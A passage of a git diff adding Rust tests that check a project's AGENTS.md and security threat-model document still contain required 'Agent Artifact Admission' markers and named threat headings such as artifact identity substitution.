read_repo_file("AGENTS.md"); + assert!( + agents.contains("Agent Artifact Admission"), + "canonical agent guidance must retain Wardnet's Agent Artifact Admission ownership boundary" + ); +} diff --git a/tests/agent_artifact_threat_model_contract.rs b/tests/agent_artifact_threat_model_contract.rs new file mode 100644 index 00000000..d2389468 --- /dev/null +++ b/tests/agent_artifact_threat_model_contract.rs @@ -0,0 +1,39 @@ +use std::fs; + +fn threat_model() -> String { + fs::read_to_string("docs/security/threat-model.md") + .unwrap_or_else(|error| panic!("failed to read threat model: {error}")) +} + +#[test] +fn agent_artifact_admission_threats_and_foreign_owner_boundaries_remain_explicit() { + let threat_model = threat_model(); + + for marker in [ + "Agent Artifact Admission", + "artifact digest", + "admission receipt", + "quarantine-sandbox-runtime", + "EgressWeave", + "contextual-orchestrator", + "appguardrail", + "fail closed", + "mutable branch", + ] { + assert!( + threat_model.contains(marker), + "threat model must retain the code-current security marker {marker:?}" + ); + } + + for threat in [ + "Artifact identity substitution", + "Forged or stale foreign-owner evidence", + "Admission-authority confusion", + ] { + assert!( + threat_model.contains(threat), + "threat model must retain the Agent Artifact Admission threat {threat:?}" + ); + } +}